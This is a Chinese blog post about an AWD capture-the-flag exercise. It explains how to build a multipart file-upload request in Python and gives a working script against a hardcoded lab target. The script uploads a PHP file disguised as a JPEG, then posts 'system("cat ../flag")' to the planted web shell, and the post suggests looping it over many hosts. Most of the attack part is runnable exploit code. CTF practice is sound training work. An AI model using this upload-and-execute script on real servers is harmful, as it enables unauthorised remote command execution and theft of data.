一、前言
在学习的时候,发现有一个AWD的文件上传执行漏洞,突然想着批量对不同靶机进行操作并get_flag。思路简单,但是没构造 过文件上传的requests 的post请求的payload。便记录一下。
二、构造知识
在上传文件的时候,数据表的post 请求体里面通常是下面这样
------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/jpeg
<?php phpinfo();>
------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="submit"
------WebKitFormBoundarycXFjbullGiRoq8pc--
其中“------WebKitFormBoundarycXFjbullGiRoq8pc”是参数分割符,不用管。
那么这就可以看成两个参数。
在构建post数据请求体的时候。这两个参数的格式是:
name:(<filename>,<file_content>,<content-type>)
#name 是字段里面的name,比如upload_file
#<filename> 上传的文件名
#如果参数没有就填none
所以上述的构造 可以为:
file_payload = {
"upload_file":("2.php",open("2.php",'rb'),"image/jpeg"),
"submit":(none,none,none)
}
三、实战脚本
import requests,re
headers = {
'Host': '1.14.110.159:10003',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
'Referer': 'http://1.14.110.159:10003/Pass-01/index.php',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
def upload_file(url):
file_payload = {
"upload_file": ("t.php", open("2.txt", 'r'), "image/jpeg"),
"submit": (None, "None", None)
}
re = requests.post(url,headers=headers,files=file_payload)
def get_flag(url):
parm = {
'cmd':'system("cat ../flag");'
}
re = requests.post(url,headers=headers,data=parm).text
return re
if __name__ == '__main__':
# url = 'http://1.14.110.159:10003/Pass-01/index.php'
# upload_file(url)
#getflag
url = "http://1.14.110.159:10003/upload/t.php"
a=get_flag(url)
print(a)
#如果批量上传或者getflag,那么使用for即可。当然提前处理url的拼接。
#for url in urls:
# upload_file(url)
标签:name,python,upload,url,file,requests,php,上传
From: https://www.cnblogs.com/iruan/p/18214387